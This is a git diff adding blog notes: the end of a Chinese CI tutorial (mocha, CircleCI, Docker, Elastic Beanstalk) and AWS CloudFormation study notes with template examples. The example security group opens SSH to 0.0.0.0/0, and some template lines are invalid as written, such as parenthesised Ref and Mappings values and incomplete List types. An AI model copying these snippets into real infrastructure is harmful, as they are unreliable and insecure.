"author": "", + "license": "ISC", + "dependencies": { + "express": "^4.17.1" + }, + "devDependencies": { + "mocha": "^8.2.1" # added + }, + "description": "" +} + + + +# 根目錄 test 資料夾,並新增一個測試腳本 test.js: +$ mkdir test +$ cd test +$ touch test.js + + + +# 加入一筆錯誤的測試 assert.equal(1, [1,2,3].indexOf(0)): +# test/test.js +var assert = require("assert") + +describe('Array', function(){ + describe(' #indexOf()', function(){ + it('should return -1 when the value is not present', function(){ + assert.equal(1, [1,2,3].indexOf(0)); + # return true, 0 + }) + }) +}) + + + +# 執行 mocha 測試: +$ ./node_modules/.bin/mocha +# 結果顯示 1 failing,測試沒通過,因為 [1,2,3].indexOf(0) 回傳的值不等於 -1。 + Array + #indexOf() + 1) should return -1 when the value is not present + 0 passing (9ms) + 1 failing + + +# 將 test.js 的測試修正: +# test/test.js +assert.equal(-1, [1,2,3].indexOf(0)); # return false, -1 + + +# 再次執行 mocha 測試: +$ ./node_modules/.bin/mocha +# 結果顯示 1 passing,通過測試。 + Array + #indexOf() + ✓ should return -1 when the value is not present + 1 passing (6ms) +``` + + +--- + +## CircleCI + +### 1. upload code to GitHub + +```bash +# ---------------- 初始化 git 環境: +$ git init . +# Initialized empty Git repository in /Users/luo/Documents/code/hello-ci-workflow/.git/ + + +# ---------------- 顯示目前哪些檔案有過更動: +$ git status +# On branch master +# Initial commit +# Untracked files: +# (use "git add ..." to include in what will be committed) +# index.js +# node_modules/ +# package.json +# test/ + + +# ---------------- .gitignore +# 將 node_modules 加到 .gitignore 黑名單 +# 這個資料夾是由 npm install 自動產生的,不需要放到 GitHub 上: +vim .gitignore +# .gitignore +# Dependency directory +# https://www.npmjs.org/doc/misc/npm-faq.html#should-i-check-my-node_modules-folder-into-git +node_modules +*.exe # 忽略所有 xxx.exe 的檔案 +Builds* +*.debug + + + +# ---------------- 更動 commit: +$ git add . +$ git commit -m "first commit" + + +# ---------------- repository: +# 打開 GitHub,新增一個 repository: +# 輸入 repository 的名稱,以 hello-ci-workflow 為例: +# 使用 git remote add 將新創建的 GitHub repository 加入到 remote: +$ git remote add origin https://github.com/ocholuo/hello.git +$ git remote set-url origin https://github.com/ocholuo/hello.git +$ git show-ref +a9f90c6c817514c9484de1df9f317f2840d8b24c refs/heads/main + + +# ---------------- 將程式碼傳到 GitHub: +$ git push -u origin origin/main +$ git push -u origin master + +# 成功之後前往 https://github.com//hello-ci-workflow 就可以看到剛才上傳的檔案: +``` + +--- + +### 2. setup CircleCI 加入 GitHub repository + +```bash +# 搜尋要加入的 GitHub repository,然後點選 Build project 按鈕,以 hello-ci-workflow 為例: +# 完成之後 CircleCI 就會自動執行第一次的建構 +# 因為還沒加入測試腳本,所以建構結果會顯示 no test: +``` + +### 3. 在 CircleCI 測試 Node.js + +```bash +# ---------------- 在根目錄建立 circle.yml, 加入 mocha test: +# circle.yml +version: 2.1 +orbs: + node: circleci/node@4.1.0 +jobs: + test: + executor: + name: node/default + tag: '13.14' + steps: + - checkout + - node/install-packages + - run: + # command: npm run test + # command: npm start + command: ./node_modules/.bin/mocha +workflows: + test_my_app: + jobs: + - test + + + +# # ---------------- push 上 GitHub: +$ git add circle.yml +$ git commit -m "add circle.yml" +$ git push + + +# Push 成功之後,CircleCI 會自動觸發建構和測試: + +# 測試通過,建置成功: +``` + + +--- + + +### 4. Code Review with GitHub Flow + + +```bash +# 建立一條分支 +# 為了確保 master 這條主線上的程式碼都是穩定的, +# 所以建議開發者依照不同的功能、建立不同的分支, +# 這裡以 test-branch 為例 + + +# ---------------- git branch 新增+切換分支: +$ git branch test-branch +$ git checkout test-branch + + +# ---------------- 在 test.js 裡加入一行錯誤的測試 assert.equal(3, [1,2,3].indexOf(5)): +assert.equal(3, [1,2,3].indexOf(5)); + + +# ---------------- 加入 commits +$ git add test/wtest.js +$ git commit -m "add a error test case" + + +# ---------------- 新增一個 Pull Request +# Push 到 GitHub 的 test-branch 分支: +$ git push -u origin test-branch + + +# 打開 GitHub +# 出現 test-branch 分支的 push commits,點選旁邊的 Compare & pull request 按鈕: + + + + + +# ---------------- 進入 Open a pull request 的填寫頁面 +# 選擇想要 merge 的分支、輸入描述之後 +# 點選 Create pull request 按鈕: +# 新增一個 pull request 之後,其他人就會在 GitHub 上出現通知: +# 點進去之後可以看見相關的 commits 與留言,但是下面有一個紅紅大大的叉叉;因為每次 GitHub 只要有新的 push,就會觸發 CircleCI 的自動建置和測試,並且顯示結果在 GitHub 上: + + +# 點選叉叉,前往 CircleCI 查看錯誤原因: + + +# 就會發現剛剛 push 到 test-branch 的測試沒通過: + + +# 回到 GitHub,因為測試沒通過,所以審查者不能讓這筆 pull request 被 merge 回 master。 + + +# 找到剛剛 commit 的那段程式碼,留言告知請開發者修正錯誤之後,再重新 commit push 上來: + + +# 修正 test.js 的測試腳本: +assert.equal(-1, [1,2,3].indexOf(5)); + + + +# 再次 commit & push: +$ git add test/test.js +$ git commit -m "fix error test case" +$ git push + + +# 回到 GitHub 的 pull request 頁面,可以看到最新一筆的 commit 成功通過 CircleCI 的測試了: +``` + + + +### 5. Merge&部署 + + +```bash +# 審查之後,確定沒有問題 +# 點選 Merge pull request 的按鈕 +# 將 test-branch 的程式碼 merge 回主線 master: +``` + +--- + +## Docker + +以往開發人員面對開發環境不同的問題,常常出現「明明在我的電腦上可以跑」的囧境,所以為了解決這類問題,通常會使用虛擬機器(VM)搭配一些工具(Vagrant、Chef)來協助統一開發人員、測試人員、上線產品的執行環境。 + +![vm-vs-docker](https://i.imgur.com/Ow3lZY5.png) + +Docker 也是類似的解決方案,不同於 VM 的是,Docker 運行起來更輕巧、可攜度更高。配置好一份設定之後,就可以讓大家馬上進入開發狀況,減少不必要的環境問題,提升效率。 + +different +1. setup a docker run +2. use CircleCI to run on a docker (no need to build) + + +--- + +### 在本地测试 Docker 上的 Node.js + +```dockerfile +# 在專案根目錄底下建立一個 Dockerfile: +# Dockerfile + +# 從 [Docker Hub](https://hub.docker.com/) 安裝 Node.js image。 +FROM node:0.10 +# 設定 container 的預設目錄位置 +WORKDIR /hello-ci-workflow +# 將專案根目錄的檔案加入至 container +# 安裝 npm package +ADD . /hello-ci-workflow +RUN npm install +# 開放 container 的 3000 port +EXPOSE 3000 +CMD npm start + + +FROM node:0.10 +WORKDIR /hello-ci-workflow +ADD . /hello-ci-workflow +RUN npm install +EXPOSE 3000 +CMD npm start + + +# 使用 docker build 建構 image: +# -t image _name。 +$ docker build -t hello-ci-workflow . +# Sending build context to Docker daemon 8.998MB +# Step 1/6 : FROM node:0.10 +# 0.10: Pulling from library/node +# 386a066cd84a: Pull complete +# 0adf07c73141: Download complete + + + +# 使用 docker run 執行您的 image: +# -d 在背景執行 node,可以使用 docker logs 看執行結果。 +# 打開瀏覽器 https://localhost:3000 看結果: +$ docker run -p 3000:3000 -d hello-ci-workflow + + +# 其實每一次都要 build 和 run 還蠻麻煩的,推薦可以試試 Docker Compose,用起來有點像 Vagrant。 +``` + + + +### 在 CircleCI 測試 Docker 上的 Node.js + +```bash +# ---------------- 在根目錄建立 circle.yml +# circle.yml +machine: + # 環境改成 docker + services: + - docker + +dependencies: + override: + # 建構方式使用 docker build + - docker build -t hello-ci-workflow . + +test: + override: + - ./node_modules/.bin/mocha + # 使用 curl 測試 docker 是否有順利執行 node + - docker run -d -p 3000:3000 hello-ci-workflow; sleep 10 + - curl --retry 10 --retry-delay 5 -v https://localhost:3000 + + +# Push 更新到 GitHub: +$ git add Dockerfile circle.yml +$ git commit -m "add Docker" +$ git push +``` + +--- + + +## AWS Elastic Beanstalk + +AWS Elastic Beanstalk +- 只需要上傳程式碼,Elastic Beanstalk 即可幫你完成 +- 容量配置、負載均衡(load balancing)、自動擴展(auto scaling), 應用程式的運行狀況監控的部署。 + + +```bash +# 初始化 EB 環境: +$ eb init -p docker + +# 該命令將提示配置各種設置。 按 Enter 鍵接受預設值。 +# 已經存有一組 AWS EB 權限的憑證,該命令會自動使用它。 +# 否則輸入 Access key ID 和 Secret access key,必須前往 AWS IAM 建立一組。 + + +# 初始化成功之後,可以使用 eb create 快速建立各種不同的環境,例如:development, staging, production。 +# 以 env-development 為例, 當它完成之後,您的應用已經備有負載均衡(load-balancing)與自動擴展(autoscaling)的功能了。 +$ eb create env-development + + +# 使用 eb open 前往目前版本的執行結果: +$ eb open env-development +``` + + +在本地端部署 AWS + +```bash +# 稍微修改 index.js: + +# index.js +# ... +app.get('/', function (req, res) { + res.send('Hello env-development!'); +}); +# ... + + +# 執行 eb deploy 部署新版本到 AWS Elastic Beanstalk: +$ eb deploy env-development + +# 部署完成之後,執行 eb open 打開網頁: +$ eb open env-development +``` + +在 CircleCI 部署 AWS + +```bash +# git checkout 將分支切換回主線 master: +$ git checkout master + +# eb create 新增一組新的環境,作為產品上線用,命名為 env-production: +$ eb create env-production +$ eb open env-production +``` + + + + +--- + +## Slack + + + + + + + + + + + + + + + +--- + + + +。 diff --git a/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormation.md b/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormation.md new file mode 100644 index 00000000000..c7ea97185bd --- /dev/null +++ b/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormation.md @@ -0,0 +1,1791 @@ +--- +title: AWS - CodeDevelop - CloudFormation +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CodeDevelop] +tags: [AWS] +toc: true +image: +--- + +[toc] + +--- + +# AWS CloudFormation + +> Infrastructure as code solution. + +![Screen Shot 2021-01-18 at 16.28.28](https://i.imgur.com/nt8tRpD.png) + + +--- + +## benefits + +1. manage, configure and provision the AWS infrastructure as code + - repeatedly and predictably model and provision resources + - infrastructure is provisioned consistently + - fewer mistakes + - less time and effort than configure manually + +2. Supports almost all the AWS services and programmable + - provision a broad range of AWS resources. + - compare + - Elastic Beanstalk + - more focused on deploying web applications on EC2  + - PaaS + - CloudFormation + - can deploy Elastic Beanstalk-hosted applications + - however the reverse is not possible. + +3. resources are defined by CloudFormation template + - Supports YAML and JSON + - Logical IDs: reference resources within the template. + - Physical IDs: identify resources outside of AWS CloudFormation templates, but only after the resources have been created. + +4. CloudFormation interprets the template and makes the appropriate API calls to create the resources defined. + +5. version control and peer review the templates + - can be used to manage updates & dependencies + - can be used to rollback and delete the entire stack as well + + +6. AWS CloudFormation provides 2 methods for updating stacks + - direct update a stack + - submit changes + - AWS CloudFormation immediately deploys them. + - Use direct updates to quickly deploy the updates. + - creating and executing change sets + - preview the changes AWS CloudFormation will make to your stack + - and then decide whether to apply those changes. + + +6. free service (resources created would be charged) + + + +--- + + +## templates, stacks and change sets: + +![CloudFormation](https://i.imgur.com/zu1yJYA.png) + +![Pasted Graphic](https://i.imgur.com/71RbCIM.jpg) + +--- + + +### Template + +template is used to describe the endstate of the infrastructure either provisioning or changing +1. after created, upload it to CloudFormation using S3 +2. CloudFormation reads the template and makes the API calls +3. the resulting resources are called a Stack + +CloudFormation template +- create templates to launch, configure, and connect AWS resources + - standard templates for deploying infrastructure +- template can be stored in CodeCommit + - maintain a history of the template and the infrastructure that has been deployed. + +- CloudFormation determines the order of provisioning. + - easy way to create a collection of related AWS resources and provision them in an orderly and predictable fashion. + - Don’t need to worry about dependencies. + - Architectural designs. + +- Treat it as code + - manage it by using version control, such as Gitor Subversion + - Create, update and delete templates. + +- is the single source of truth for cloud environment. + - Define an entire application stack (all the resources required for application) in a JSON template file. + - provides a common language to to model, describe and provision all the infrastructure resources and properties in the cloud environment. + - model and provision in an automated and secure manner all the resources needed for your applications across all regions and accounts. + + +- Define runtime parameters for a template + - such as EC2—Instance Size, Amazon EC2 Key Pair, etc. + + + + +Templates can be created by +- code editor supports JSON syntax, (Atom or Sublime Text) +- third party WYSIWYG editor +- build visually by CloudFormation Designer tool + - Available in AWS Management Console + - allows visualize using a drag and drop interface. + - drag and drop resources onto a design area to automatically generate a JSON/YAML-formatted CloudFormation template + - edite properties of the JSON or YAML template on same page. + - can open and edite Existing CloudFormation templates + +YAML or JSON +- JavaScript Object Notation (JSON) / YAML-formatted templates. +- Both YAML/JSON-formatted templates have the same structure, support all the same feature + + do not recommend +- build all of an application's within one template + - Resources should be grouped into templates + - based on the ownership and the place in the application lifecycle. + - minimum should separate network, security, and application resources into own templates. +- test environment and production environment should not share same templates. + - Resources in a test environment need to change frequently + - resources in a production environment should be relatively stable. +- sharing templates across management teams + - because different needs and standards can impact teams inappropriately. + + + +Organizing template: +- Avoid sharing a single template across applications for resources of the same type + - unless you are deliberately centralizing control of that resource type. + - no too many things inside of one template across numerous applications. + - application template that supports several applications, + - changes to the template will affect several applications + - changes can cause all of the applications to be retested. +- share template could potentially break + - things that are specific to your environment, + - such as Amazon EC2 key pairs, security group names, subnet IDs, and EBS—snapshot IDs. + - It can be fixed by using parameters, mappings, and condition section in temple. +- storing templates contain security resources in a separate repository from other templates. + + + +Template elements: +- Mandatory: + - File format and version. + - List of resources and associated configuration values. +- Not Mandatory: + - Template parameters (limited to 60). + - Output values (limited to 60). + - List of data tables. + + +--- + + +### Engine: +- Aws service component +- Interprets AWS cloudFormation template into stacks of AWS resources. + +--- + + +### Group: + +![Screen Shot 2020-06-26 at 10.10.37](https://i.imgur.com/k3VHJRq.png) + +- allows you to quickly provision a test environment to investigate possible breaches into your EC2 instance. +- Puppet and Chef integration is supported. +- Can use bootstrap scripts. +- Can define deletion policies. +- Can create roles in IAM. +- VPCs can be created and customized. +- VPC peering in the same AWS account can be performed. +- Route 53 is supported. + + + +--- + + +### Stack + + +--- + +#### Stack + +1. A collection of resources created by AWS cloudFormation templates + - All the resources in a stack are defined by the stack's `AWS CloudFormation template`. + - Deployed resources based on templates. + - Create, update and delete stacks using templates. + - Deployed through the Management Console, CLI or APIs. + - Tracked and reviewable in the AWS management console + +2. a collection of AWS resources that can manage as a single unit + - AWS CloudFormation treats the stack resources as a single unit + - create, update, or delete a collection of resources by creating, updating, or deleting stacks + - Example: + - A stack can include all the resources required to run a web application + - such as a web server, a database, and networking rules. + - If no longer require that web application, simply delete the stack, and all of its related resources are deleted. + +3. AWS CloudFormation ensures all `stack resources` are created or deleted as appropriate. + - If a resource cannot be created, AWS CloudFormation rolls the stack back and automatically deletes any resources that were created. + - If a resource cannot be deleted, any remaining resources are retained until the stack can be successfully deleted. + - can work with stacks by using the AWS CloudFormation console, API, or AWS CLI. + +4. Stacks can't create logical resources + - stack listens to the direction of a template containing logical resources. + - template describes a stack, + - a collection of AWS resources want to deploy together as a group. + - stack manages physical resources based on a logical resource template + - stack making resources through the direction of a template. + + - Actions to resources can be tracked in CloudFormation's stack details. + +5. Stacks control resources + - if a stack is removed, the resource also be deleted, so are the resources that it created. + - Stacks could disrupt a resource when performing updates to the resource. + + +7. Stack creation errors: + - Automatic rollback on error is enabled by default. + - will be charged for resources provisioned even if there is an error. + + + +--- + + + +#### Nested stacks + +1. Nested stacks are stacks created as part of other stacks + +2. Use nested stacks to declare common components (best practice) + - allow re-use of CloudFormation code for common use cases + - such as standard configuration for load balancer, web server, application server, etc. + + - As infrastructure grows, declare the same components in multiple templates + - separate out these common components and create a standard dedicated templates for each common use case + - store it in S3 + - and refenrece it in the Resources section of other template using the Stack resource type + - `Resources: Type: AWS::CloudFormation::Stack` + + - Example: + - a load balancer configuration that use for most of the stacks. + - Instead of copying and pasting the same configurations into the templates, + - create a dedicated template for the load balancer. + - Then, just use the resource to reference that template from within other templates. + +3. Nested stacks can contain other nested stacks, + - resulting in a hierarchy of stacks + +4. Certain stack operations, such as stack updates, should be initiated from the `root stack` rather than performed directly on `nested stacks themselves`. + + + +--- + +Example: + +``` +Resources: + Type: AWS::CloudFormation::Stack + Properties: + NotificationARNs: + - String + Parameters: + AWS CloudFormation Stack Parameters + Tags: + - Resource Tag + TemplateURL: https://s3.amazonaws.com/.../template.yml + TimeoutInMinutes: Integer +``` + + +pic + +The root stack +- the top-level stack to which all the nested stacks ultimately belong. +- each nested stack has an immediate parent stack. +- For the first level of nested stacks, the root stack is also the parent stack. + +> Stack A is the `root stack` for all the other, nested, stacks in the hierarchy. +> For stack B, stack A is both the `parent stack`, as well as the `root stack`. +> For stack D, stack C is the `parent stack`; +> for stack C, stack B is the `parent stack`. + + + +1. AWS Management Console -> AWS CloudFormation console -> Select the stack +2. Nested stacks display `NESTED` next to the stack name. +3. To view the root stack of a nested stack + - Overview tab: click the stack name listed as `Root stack`. +4. To view the nested stacks that belong to a root stack + - AWS CloudFormation console -> Click the name of the root stack whose nested stacks want to view. + - Expand the Resources section. + - Look for resources of type `AWS::CloudFormation::Stack`. + + +--- + + + +#### Cross stack references +- share outputs from one stack with another stack. + - share things like IAM—roles, VPC—information, and security groups. + - Before, use AWS CloudFormation custom resources to accomplish these tasks. + - Now, export values from one stack and import them to another stack by using the new ImportValueintrinsic function. +- useful for customers who + - separate their AWS infrastructure into logical components that grouped by stack + - such as a network stack, an application stack, etc. + - need a way to loosely couple stacks together as an alternative to nested stacks + +--- + +### StackSets. + +AWS CloudFormation StackSets + +- extends the functionality of stacks by enabling create, update, or delete stacks across multiple accounts and regions with a single operation + +- An administrator account + - the AWS account in which you create stack sets. + - define and manage an AWS CloudFormation template + - use the template as the basis for provisioning stacks into selected target accounts across specified regions. + - A stack set is managed by signing in to the AWS administrator account in which it was created. + +- A target account + - the account into which you create, update, or delete one or more stacks in your stack set. + - Before use a stack set to create stacks in a target account, must set up a trust relationship between the administrator and target accounts. + +--- + + +## Best Practices. +- AWS provides Python “helper scripts” which can help you install software and start services on your EC2 instances. +- Use CloudFormation to make changes to your landscape rather than going directly into the resources. +- Make use of Change Sets to identify potential trouble spots in your updates. +- Use Stack Policies to explicitly protect sensitive portions of your stack. +- Use a version control system such as CodeCommit or GitHub to track changes to templates. + + + +--- + + +## Charges: +- no additional charge for AWS CloudFormation. +- pay for AWS resources (such as EC2 instances, ELB load balancers, etc.) created using AWS CloudFormation in the same manner as if you created them manually. +- only pay for what you use, as you use it; +- there are no minimum fees and no required upfront commitments. + + +--- + + +# setup + +1. cloudformation +2. create stack + 1. select template + 2. stack name + 3. keypaire + 4. rollback on failure +3. delete stack + + +--- + + +# CloudFormationTemplate.yml + +```yml +AWSTemplateFormatVersion: 2010-09-09 + +# text string that describes the template +Description: Template to create an EC2 instance and enable SSH + + + +# data about the data, Some AWS CloudFormation features retrieve settings or configuration information that you define from the Metadata section. +Metadata: + + + +# input custom values, pass the value of your template at runtime. +Parameters: + KeyName: + Description: Name of SSH KeyPair + Type: 'AWS::EC2::KeyPair::KeyName' + ConstraintDescription: Provide the name of an existing SSH key pair + InstanceTypeParameter: + Type: String + Default: t2.micro + AllowedValues: ["t2.micro", "m1.small", "m1.large"] + Description: 'Enter t2.micro, m1.small or m1.large' + + + +# provision resources based on environment +Conditions: + + + +# Mandatory +# the AWS resource be included / created in the stack +Resources: + # Logical ID: + # Type: 'ARNs' + # Properties: + MyEC2Instance: + Type: 'AWS::EC2::Instance' + Properties: + # InstanceType: t2.micro + InstanceType: ('Ref': InstanceTypeParameter) + ImageId: ami-0bdb1d6c15a40392c + KeyName: !Ref KeyName + SecurityGroups: + - Ref: InstanceSecurityGroup + Tags: + - Key: Name + Value: My CF Instance + # How AWS CloudFormation should wait to launch a resource + # until a specific, different resource has finished being created. + DependsOn: myDB + InstanceSecurityGroup: + Type: 'AWS::EC2::SecurityGroup' + Properties: + GroupDescription: Enable SSH access via port 22 + SecurityGroupIngress: + IpProtocol: tcp + FromPort: 22 + ToPort: 22 + CidrIp: 0.0.0.0/0 + + +# create custom mappings +# like different Region for different AMI +# customize the properties of a resource based on certain conditions, which enables you to have fine-grained control over how your templates are launched. +Mappings: + RegionMap: + us-east-1: (t2.micro: ami-0bdb1d6c15a40392c) + us-west-1: (t2.micro: ami-0bdb1d6c15a40392c) + +# reference code located in S3 +# Lambda code or reusable snippets of CloudFormation code +Transforms: + + +# values that are returned whenever you view the properties of your stack. +Outputs: + InstanceID: + Description: The Instance ID + Value: !Ref MyEC2Instance +``` + + + + +--- + +# template Section + + +--- + +## Intrinsic function reference + +### Ref +- provided `logical ID of this resource` to the Ref intrinsic function, +- Ref returns `the resource name`. + +```yaml +{ "Ref": "RootRole" } +# Ref will return the role name for the AWS::IAM::Role resource with the logical ID "RootRole" + + +MyEIP: + Type: "AWS::EC2::EIP" + Properties: + InstanceId: !Ref MyEC2Instance +``` + + + +### Fn::GetAtt +- returns the value of an attribute from a resource in the template +- returns a value for a specified attribute of this type. +- The following are the available attributes and sample return values. + +```yaml +{"Fn::GetAtt" : ["MyRole", "Arn"] } +# Returns the Amazon Resource Name (ARN) for the role. +# This will return a value such as arn:aws:iam::1234567890:role/MyRole-AJJHDSKSDF. + +{"Fn::GetAtt" : ["MyRole", "RoleId"] } +# Returns the stable and unique string identifying the role. For example, AIDAJQABLZS4A3QDU576Q. + +!GetAtt myELB.DNSName +# returns a string containing the DNS name of the load balancer with the logical name myELB. + + +AWSTemplateFormatVersion: 2010-09-09 +Resources: + + myELB: + Type: AWS::ElasticLoadBalancing::LoadBalancer + Properties: + AvailabilityZones: eu-west-1a + Listeners: + - LoadBalancerPort: '80' + InstancePort: '80' + Protocol: HTTP + + myELBIngressGroup: + Type: AWS::EC2::SecurityGroup + Properties: + GroupDescription: ELB ingress group + SecurityGroupIngress: + - IpProtocol: tcp + FromPort: 80 + ToPort: 80 + SourceSecurityGroupOwnerId: !GetAtt myELB.SourceSecurityGroup.OwnerAlias + SourceSecurityGroupName: !GetAtt myELB.SourceSecurityGroup.GroupName + +``` + + +### Fn::Sub + +- The intrinsic function `Fn::Sub` substitutes variables in an input string with values that you specify. +- In your templates, you can use this function to construct commands or outputs that include values that aren't available until you create or update a stack. + +```yaml +# Fn::Sub with a mapping +# uses a mapping to substitute the ${Domain} variable with the resulting value from the Ref function. +Name: !Sub + - www.${Domain} + - { Domain: !Ref RootDomainName } + + +# Fn::Sub without a mapping +# uses Fn::Sub with the AWS::Region and AWS::AccountId pseudo parameters and the vpc resource logical ID to create an Amazon Resource Name (ARN) for a VPC. +!Sub 'arn:aws:ec2:${AWS::Region}:${AWS::AccountId}:vpc/${vpc}' + + +# UserData commands +# The following example uses Fn::Sub to substitute the AWS::StackName and AWS::Region pseudo parameters for the actual stack name and region at runtime. +UserData: + Fn::Base64: + !Sub | + #!/bin/bash -xe + yum update -y aws-cfn-bootstrap + /opt/aws/bin/cfn-init -v --stack ${AWS::StackName} --resource LaunchConfig --configsets wordpress_install --region ${AWS::Region} + /opt/aws/bin/cfn-signal -e $? --stack ${AWS::StackName} --resource WebServerGroup --region ${AWS::Region} + + +``` + + + +--- + +## Format version + +The AWSTemplateFormatVersion section (optional) identifies the capabilities of the template. +- The latest template format version is 2010-09-09 and is currently the only valid value. + +```yaml +AWSTemplateFormatVersion: "2010-09-09" +``` + +--- + +## Description: (optional) + +![Screen Shot 2020-06-26 at 10.13.23](https://i.imgur.com/ZcU1VMh.png) + +The Description section include comments about your template. + +```yaml +Description: > + Here are some + details about + the template. +``` + +--- + + + +## Parameter : to pass the value of the template at runtime + +Use the optional `Parameters` section to customize your templates. +- to input custom values to your template each time you create or update a stack. +- can specify allowed and default values for each parameter. + - specify details like + - the range of acceptable AMI ImageIdnumbers, + - key pairs, + - subnets, + - or any properties that must be specified for a resource. +- A parameter contains a list of attributes that define its value, and constraints against its value. + + +### example + +```json +"Parameters" : { + "ParameterLogicalID" : { + "Type" : "DataType", + "ParameterPropertyABCD" : "value" + } +} + +"Parameters" : { + "InstanceTypeParameter" : { + "Type" : "String", + "Description" : "Enter t2.micro, m1.small, m1.large. Default is t2.micro", + "Default" : "t2.micro", + "AllowedValues" : [ "t2.micro", "m1.small", "m1.large"] + // appears in the AWS CloudFormationConsole when the template is launched. + } +}, +"Resources" : { + // when an EC2 instance is launched in the Resources section + "Instances" : { + "Type" : "AWS::EC2::Instance", + "Properties" : { + // the Properties section of the instance can reference the InstanceTypeParameter specification. + // the "Ec2Instance" resource references the InstanceTypeParameter specification for its instancetype. + "InstanceType" : { "Ref" : "InstanceTypeParameter" }, + "ImageId" : "ami-20b65349", + } + } +} +``` + +```yaml +Parameters: + ParameterLogicalID: + Type: DataType + ParameterPropertyABCD: value + +Parameters: + InstanceTypeParameter: + Type: String + Default: t2.micro + AllowedValues: + - t2.micro + - m1.small + - m1.large + Description: Enter t2.micro, m1.small, or m1.large. Default is t2.micro. + +Resources: + Ec2Instance: + Type: AWS::EC2::Instance + Properties: + InstanceType: + Ref: InstanceTypeParameter + ImageId: ami-0ff8a91507f77f867 +``` + + + +### Type + +The only required attribute +- `String`: "MyUserName" +- `Number`: "8888" +- `List`: ["80","20"] + +```yaml +Parameters: + DBPort: + Default: 3306 + Description: TCP/IP port for the database + Type: Number + MinValue: 1150 + MaxValue: 65535 + DBPwd: + NoEcho: true + Description: The database admin account password + Type: String + MinLength: 1 + MaxLength: 41 + AllowedPattern: ^[a-zA-Z0-9]*$ +``` + +- `CommaDelimitedList`: ["test","dev","prod"] + - to specify multiple string values in a single parameter. + - can use a single parameter instead of many different parameters to specify multiple values. + - For example + - create three different subnets with their own CIDR blocks, + - use three different parameters to specify three different CIDR blocks. + - But it's simpler just to use a single parameter that takes a list of three CIDR blocks + - To refer to a specific value in a list + - use the `Fn::Select` intrinsic function in the Resources section of your template. + - pass the index value of the object that you want and a list of objects + + +```yaml +Parameters: + DbSubnetIpBlocks: + Description: "Comma-delimited list of three CIDR blocks" + Type: CommaDelimitedList + Default: "10.0.48.0/24, 10.0.112.0/24, 10.0.176.0/24" + +Resources: + + DbSubnet1: + Type: AWS::EC2::Subnet + Properties: + AvailabilityZone: !Sub + - "${AWS::Region}${AZ}" + - AZ: !Select [0, !Ref VpcAzs] + VpcId: !Ref VPC + CidrBlock: !Select [0, !Ref DbSubnetIpBlocks] + + DbSubnet2: + Type: AWS::EC2::Subnet + Properties: + AvailabilityZone: !Sub + - "${AWS::Region}${AZ}" + - AZ: !Select [1, !Ref VpcAzs] + VpcId: !Ref VPC + CidrBlock: !Select [1, !Ref DbSubnetIpBlocks] + + DbSubnet3: + Type: AWS::EC2::Subnet + Properties: + AvailabilityZone: !Sub + - "${AWS::Region}${AZ}" + - AZ: !Select [2, !Ref VpcAzs] + VpcId: !Ref VPC + CidrBlock: !Select [2, !Ref DbSubnetIpBlocks] +``` + +- `SSM Parameter` Types: + - Parameters that correspond to existing parameters in Systems Manager Parameter Store. You specify a Systems Manager parameter key as the value of the SSM parameter, and AWS CloudFormation fetches the latest value from Parameter Store to use for the stack. For more information, see SSM parameter types. + + +- `AWS-Specific Parameter` Types: + - AWS-specific + - catching invalid values at the start of creating or updating a stack. + - to create or update a stack must specify existing AWS values that are in the user's account and in the region for the current stack. + - help ensure that input values for these types exist and are correct before AWS CloudFormation creates or updates any resources. + - If a user uses the AWS Management Console, + - AWS CloudFormation prepopulates AWS-specific parameter types with valid values. + - user doesn't have to remember and correctly enter a specific name or ID. + - just select from a drop-down list. + - can search for values by ID, name, or Name tag value. + - For example + - AWS values such as Amazon EC2 key pair names and VPC IDs. + - use the `AWS::EC2::KeyPair::KeyName` parameter type, + - AWS CloudFormation validates the input value against users' existing key pair names before it creates any resources, such as Amazon EC2 instances. + + - The following example declares two parameters with the types `AWS::EC2::KeyPair::KeyName` and `AWS::EC2::Subnet::Id`. + - These types limit valid values to existing key pair names and subnet IDs. + - Because the mySubnetIDs parameter is specified as a list, a user can specify one or more subnet + +```yaml +Parameters: + myKeyPair: + Description: Amazon EC2 Key Pair + Type: "AWS::EC2::KeyPair::KeyName" + mySubnetIDs: + Description: Subnet IDs + Type: "List" +``` + + + + +#### AWS-specific parameter type + +- Supported AWS-specific parameter types + + - `AWS::EC2::AvailabilityZone::Name` + - An Availability Zone + - such as `us-west-2a`. + + - `AWS::EC2::Image::Id` + - An Amazon EC2 image ID, + - such as `ami-0ff8a91507f77f867`. + - Note that the AWS CloudFormation console doesn't show a drop-down list of values for this parameter type. + + - `AWS::EC2::Instance::Id` + - An Amazon EC2 instance ID, + - such as `i-1e731a32` + + - `AWS::EC2::KeyPair::KeyName` + - An Amazon EC2 key pair name. + + - `AWS::EC2::SecurityGroup::GroupName` + - An EC2-Classic or default VPC security group name, + - such as `my-sg-abc`. + + - `AWS::EC2::SecurityGroup::Id` + - A security group ID, + - such as `sg-a123fd85`. + + - `AWS::EC2::Subnet::Id` + - A subnet ID, + - such as `subnet-123a351e`. + + - `AWS::EC2::Volume::Id` + - An Amazon EBS volume ID, + - such as `vol-3cdd3f56`. + + - `AWS::EC2::VPC::Id` + - A VPC ID, + - such as `vpc-a123baa3` + + - `AWS::Route53::HostedZone::Id` + - An Amazon Route 53 hosted zone ID, + - such as `Z23YXV4OVPL04A` + + - `List` + - An array of Availability Zones for a region, + - such as `us-west-2a, us-west-2b` + + - `List` + - An array of Amazon EC2 image IDs, + - such as `ami-0ff8a91507f77f867, ami-0a584ac55a7631c0c`. + - Note that the AWS CloudFormation console doesn't show a drop-down list of values for this parameter type. + + - `List` + - An array of Amazon EC2 instance IDs, + - such as `i-1e731a32, i-1e731a34` + + - `List` + - An array of EC2-Classic or default VPC security group names, + - such as `my-sg-abc, my-sg-def` + + - `List` + - An array of security group IDs, + - such as `sg-a123fd85, sg-b456fd85` + + - `List` + - An array of subnet IDs, + - such as `subnet-123a351e, subnet-456b351e` + + - `List` + - An array of Amazon EBS volume IDs, + - such as `vol-3cdd3f56, vol-4cdd3f56` + + - `List` + - An array of VPC IDs, + - such as `vpc-a123baa3, vpc-b456baa3` + + - `List` + - An array of Amazon Route 53 hosted zone IDs, + - such as `Z23YXV4OVPL04A, Z23YXV4OVPL04B` + + + +### Description +- value they should specify. +- The parameter's name and description appear in the Specify 